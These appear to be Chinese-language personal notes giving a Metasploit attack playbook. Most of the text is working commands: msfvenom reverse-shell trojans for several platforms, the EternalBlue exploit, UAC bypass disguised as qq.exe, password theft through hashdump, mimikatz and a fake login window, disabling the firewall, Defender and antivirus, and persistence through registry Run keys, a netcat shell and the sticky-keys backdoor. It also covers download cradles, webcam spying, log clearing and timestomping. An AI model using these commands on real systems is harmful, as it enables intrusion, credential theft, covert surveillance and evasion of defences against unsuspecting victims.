Ubuntu快速安装msf的命令:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
msf更新命令
sudo msfupdate
Metasploit是一个免费的,可以下载的 攻击框架:
在这个体系之类是可以进行所有的操作的 例如:可以调用nmap
nmap -sV [目标ip]
msf就是一个攻击框架 而armitage就是把它做成图形化界面而已
软件本身是开源的 懂编程的可以进行修改
armitage是其图形界面 (可以图形界面和命令界面同时使用)
其他命令补充
sessions -k x //x表示相应的sessions号 表示结束某个主机的进程
图形化界面启动方式:(缺点:反应太慢)
msfdb init
armitage //默认不会安装 安装完再次输入即可进入
apt install armitage //安装
命令行启动:
msfconsole //打开msf
//1.配置木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=4444 -f exe > shell.exe //默认生成在home/XXX(用户名) 文件夹下
//2.压缩包压缩木马 仅仅是便于发送而已(可省略这步)
zip -r haha.zip shell.exe //把shell.exe压缩成haha.zip
msfconsole
//payload投递示范
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp //这里的地址一定要是刚刚配置的木马一样的payload地址 否则不能上线
show options //查看等待配置的状态
set LHOST 192.168.1.104
set LPORT 3707
show options //查看配置完的状态
exploit //此时就已经开始监听3707端口了
background
sessions -i
sessions -i 1
shell //获得权限
//退出cmd 的shell 再控制室可以输入help查看可以操控的命令
//例如:
screenshot //可以截图该用户的当前界面
1.msf利用方式1:知道目标的漏洞并进行攻击利用
msf如果去攻击对方需要条件:
1.知道对方是存在漏洞的,且有漏洞利用的程序
2.攻击载荷(木马,病毒)
实战:使用metasploit实现永恒之蓝的攻击
永恒之蓝 ms17_010 (仅仅是一个漏洞。可以获得权限 至于后续捆绑木马以及免杀都是可以操作的)
利用条件:windows7且开放了445等端口就有可能成功
use exploit/ //可以查看所有可以利用的漏洞种类和信息
use exploit/windows/smb/ms17_010_eternalblue
show options //查看需要配置的具体信息
set RHOSTS [目标ip]
show options //查看设置完成以后的具体信息
run //运行
help //可以查看能够使用的很多功能
shell //可以直接进入cmd的权限进行控制
应用2:msf内网渗透
生成exe木马(服务端):
msfvenom -a x86 -platform windows -p windows/meterpreter/reverse_tcp LHOST=[自己ip] LPORT=4444 -b "\00" -e x86/shikata_ga_nai -f exe > msf.exe
在msf里建立木马(控制端):
msfconsole
use exploit/multi/handler //使用相应的漏洞利用程序
set payload windows/meterpreter/reverse_tcp //设置攻击载荷 且要和木马端的方式一致
set LHOST [自己ip]
exploit 进入监听状态
exploit -j //进入监听状态并且自动转移到后台
此时如果有木马启动,就会连接我
help //查看可以利用的东西以及可以执行的操作
background //暂时不操作,把木马放到后台 不会关闭这个木马的操作
sessions //查看控制了多少人 以及他们的情况
sessions -i 1 //进入1号主机控制端
jobs //查看目前在执行多少任务
back //后退一格
exit //直接退出木马的控制
其他生成木马的命令:
生成mac木马:
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=自己ip LPORT=4444 -f macho -o payload.macho
生成android木马(需要数字签名):
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=自己ip LPORT=4444 -f apk -o payload.apk
生成powershell木马:
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=自己ip LPORT=4444 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
生成linux木马:
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=自己ip LPORT=4444 -f elf -o payload.elf
生成python木马:
msfvenom -p python/meterpreter/reverse_tcp LHOST=自己ip LPORT=4444 -f raw -o payload.py
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4444 -f exe -o msf.exe
meterpreter操作:
UAC提权:
getuid //查看当前用户权限
getsystem //直接提权(有风险,有可能会报错) 把人类可用最高权限提升到机器可用最高权限
考虑使用ask模块去提权
background 先把木马放到后台
use exploit/windows/local/ask 加载ask模块
info 查看漏洞信息
set SESSION 1 //使用漏洞在1号木马控制的目标上
set FILENAME qq.exe //伪装成文件名为qq
set LHOST [本地的ip地址] //设置本地监听地址
exploit
会在用户桌面上弹出一个允许qq启动,用户选择yes,成功
getuid //发现还不是system
getsystem //可以提高到最高
UAC绕过提权(成功概率不高):
use exploit/windows/local/bypassuac (多用来进攻32位系统)
show options
set SESSION 1 //具体是几号机器就填相应的数字
exploit 开始攻击
//如果攻击成功,会给你一个新的session号
进入新的session号
getuid
getsystem
https://github.com/Screetsec/TheFatRat
GitHub - M4sc3r4n0/Evil-Droid 可以用于生成安卓的木马 可以和msf联动上线
GitHub - jbreed/apkinjector: Android APK Antivirus evasion for msfvenom generated payloads to inject into another APK file for phishing attacks.
目标信息采集:
msf目录下 cd /usr/share/metasploit-framework/scripts/resource/ 可以看到大佬的脚本
需要进入到一个sessions里
run post/windows/gather/forensics/xxxxx 取证模块
run post/windows/gather/checkvm 检测是否为虚拟机
run post/windows/gather/enum_services 查看运行的服务
run post/windows/gather/enum_applications 查看电脑安装了哪些应用
run post/windows/gather/enum_shares 查看共享
run post/windows/gather/dumplinks 查看最近操作(安装东西)
run post/windows/gather/enum_patches 查看用户安装了哪些补丁
run scraper 导出所有信息
run winenum 搜集系统环境变量
数据和嗅探:
进入session
load sniffer //加载嗅探模块
sniffer_interfaces //查看电脑网卡
sniffer_start 2 //对2号网卡进行嗅探操作
sniffer_dump 2 2.cap //把2号网卡的数据包保存为/root/2.cap 可以通过wireshark软件分析到内容
wireshark 2.cap //使用wireshark查看抓到的包
sniffer_stop 2 //停止对2号网卡的嗅探
host 注入
本质是修改目标机器的本地DNS域名解析服务器的配置
use post/windows/manage/inject_host 使用注入模块
show options
set IP [自己的ip] //这里的ip是之后目标指向的ip
set DOMAIN [要篡改的域名] //要伪造什么域名
set SESSION [session-id] //对哪个session-id进行修改
exploit
//本质就是把被篡改的域名在访问的时候会自动转移到指向的ip地址
用户认证钓鱼窗口
进入sesion中
run post/windows/gather/phish_windows_credentials
// 这个时候管理员的桌面会出现认证窗口(假的) 钓鱼密码
passTheHash:
必须是system权限
进入一个session
run post/windows/gather/hashdump //获得操作系统的用户hash值
//可以获取到管理员密码加密之后的密码,之后使用穷举的方法破解 可以考虑 彩虹表
使用猕猴桃:(最好用64位的载荷来访问猕猴桃 32位的可用的很少)
进入session
load mimikatz /load kiwi //加载猕猴桃
help kiwi //查看猕猴桃的命令
creds_all //列出所有的凭据
creds_kerberos //拿到所有密码
creds_msv //只列出加密之后的密码
电脑版本的猕猴桃
扫雷外挂
winmine::infos
windows防火墙和3389端口:
要使用远程桌面连接的条件 1.目标计算机本机是支持远程连接的 2.开放了3389端口
netsh advfirewall set allprofiles state off //关闭防火墙
net stop windefend //关闭defener
bcdedit.exe /set {current} nx AlwaysOff //关闭dep(数据执行保护)
run killav //关闭杀毒软件 大多数针对的是国外杀软 国内行不太通
(run post/windows/manage/killav)
run post/windows/manage/enable_rdp //开启远程桌面(3389)
run getgui -e 开启远程桌面(不太靠谱)
run getgui -u 用户名 -p 密码
run getgui -e -f 8888 开启远程桌面并且绑定在8888端口上 连接为192.168.1.1:8888 默认是3389
kali图形界面使用远程桌面
rdesktop -u [用户名] -p [密码] [目标ip]
load espia
screengrab //截图
后门植入:
meterpreter shell 运行是在内存中的,重启就会消失,进程中也可以关闭,非常的不持久
所以需要植入后门进行长久控制
拥有powershell等高权限时可以做的事情:
1.卸载对方的补丁 再用对应的漏洞去攻击电脑即可
2.给对方安装一些有漏洞的软件(比如说ftp程序,输入法等等)
PS:ftp服务使用
可以借助工具:小ftp 理解ftp服务器
在cmd中可以通过
ftp 192.168.1.1
来访问ftp服务器和其中相应的内容
PS2:考虑 粘滞键漏洞
按5下shift键可以打开粘滞键
新建一个bat文件 记事本输入如下命令 双击以后按5下shift 打开的就是cmd而不是粘滞键
优点:在用户登陆界面 未登录的情况下按5下shift直接召唤出cmd 也是一种控制的方法
而且whoami获得的权限直接就是 system 机器可用最高权限
普通状态是登录者的权限,如果是 要登录的状态 召唤出漏洞就是 system权限
takeown /f c:\windows\system32\sethc.* /a /r /d y
cacls c:\windows\system32\sethc.exe /T /E /G system:F
cacls c:\windows\system32\sethc.exe /T /E /G administrator:F
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe /y
可持续性的系统后门
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4444 -f exe > msf.exe //创建x64木马
meterpreter的木马默认是运行在内存里的
1.让木马通过服务去启动
run metsvc -A //设定端口上传后门文件 会开启一个31337端口
如何利用后门
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set lport 31337
set rhost [对方的ip]
exploit
2.在session中启动(永久后门)
run persistence -A -S -U -i 60 -p 4321 -r [黑客ip]
安插一个永久性后门,60s上线一次,使用4321端口
目标电脑如果重启/注销/关机,会在开启后自动连接 如果本地msf关闭了,下次重开需要输入如下命令即可继续监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 4321
set lhost [自己ip]
exploit
//即使sessions -k [id] 结束掉连接 过了60s还会回来
3.上传文件实现永久后门控制(例如可以上传nc这个工具)
进入一个session中
upload /root/nc.exe c:\\windows\\system32 (要上传的目录可以自定义)
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run 查看注册表里有什么自启动内容
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'c:\nc.exe -Ldp 444 -e cmd.exe' 把nc放到自动启动里
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc 查看代码写的对不对
先进入shell 然后输入netsh firewall show opmode 查看防火墙状态
先进入shell 然后输入netsh firewall add portopening TCP 444 "FireWall" ENABLE ALL 添加一个防火墙规则允许444端口通过
nc -v [目标ip] 444 目标主机重启之后 新建端口后 后续可以自行用nc控制该电脑
//拓展:
注册表修改的内容可以在msconfig的启动选项卡里看到
可以考虑使用自解压的方法进行伪装...
下载东西未必需要浏览器 只要有http协议就可以进行下载 下载的本质也就是拷贝服务器上的二进制代码到本地
使用vbs去远程下载文件:(切记 代码是一整行的 不能够换行)
创建一个a.vbs
set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open"get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2
cmd运行---> cscript a.vbs http://www.xx.com/haha.txt c:\b.txt //cscript a.vbs 下载的目标地址 下载到本地的什么位置 //a.vbs应该是下载的执行代码
使用echo直接写 完成vbs文件的创建 本质是一样的
echo set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open"get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> a.vbs
certutil功能:下载文件 校验hash值 加密解密文件
certutil -? //可以查看命令的帮助
certutil -urlcache -split -f http://www.xx.com/haha.txt 会下载到本目录
certutil -urlcache -split -f [网页url] //可以把网页完整的html文件下载下来
有一个弊端:
每次下载的时候,都有留存,导致留下入侵痕迹,所以每次下载之后,都要清理痕迹
certutil -urlcache -split -f http://www.xx.com/haha.txt delete
校验hash值:(用于检测文件文件是否受人篡改) 如果文件被动过,hash值就会改变
//可以使用这个命令去确保 文件下载之后是否被人修改过
certutil -hashfile c:\xxx.exe
加密解密文件:
certutil -encode c:\haha.txt c:\haha-en.txt //base64加密解密的算法
certutil -decode c:\haha-en.txt c:\haha-de.txt
使用bitsadmin下载
下载主命令:
bitsadmin /rawreturn /transfer down http://www.xx.com/haha.txt c:\haha.txt
提高下载主命令的优先级(下载大型文件):
bitsadmin /setpriority down foreground
使用js下载:(具体操作都在cmd中的相应目录下)(缺点:不能下载大的文件)
创建一个a.js
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET",WScript.Arguments(0),/*async=*/false);WinHttpReq.Send();
WScript.Echo(WinHttpReq.ResponseText);
cscript /nologo a.js http://www.xx.com/haha.txt >> 123.txt
直接保存为文件(和上面的js 下载类似 只不过可以直接保存为相应的文件和格式 也就可以直接下载exe程序了)
修改相应的SaveToFile即可直接使用
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET",WScript.Arguments(0),/*async=*/false);WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile("abc.exe");
cscript /nologo a.js http://www.xx.com/aa.exe
使用ftp脚本:
a.bat
echo open [黑客ip] > ftp.txt
echo test>> ftp.txt
echo 123>> ftp.txt
echo binary>> ftp.txt
echo get haha.txt>> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt //cmd下输入 把txt的内容当作脚本去执行
其他命令:
uictl [enable/disable] [keyboard/mouse/all] 开启/停用 键盘/鼠标
webcam_list 查看摄像头
webcam_snap 通过摄像头拍照
webcam_stream 通过摄像头开启视频
execute 在目标上执行文件
execute -H -i -f cmd.exe //创建新的隐藏可交互的命令cmd.exe
getpid 获取当前进程的pid
ps 查看活跃进程
migrate [pid] //将meterpreter转移到某个pid中
kill [pid] //杀死某个进程
clearev 清除日志,清除windows里的应用程序,系统日志,安全日志 //依然会留下清除日志这条记录 掩耳盗铃 不建议使用
timestomp -v c://a.exe //查看c盘的a.exe的时间戳
timestomp c://b.exe -f c://a.exe //将a.exe的时间戳复制给b.exe 后面的时间戳给前面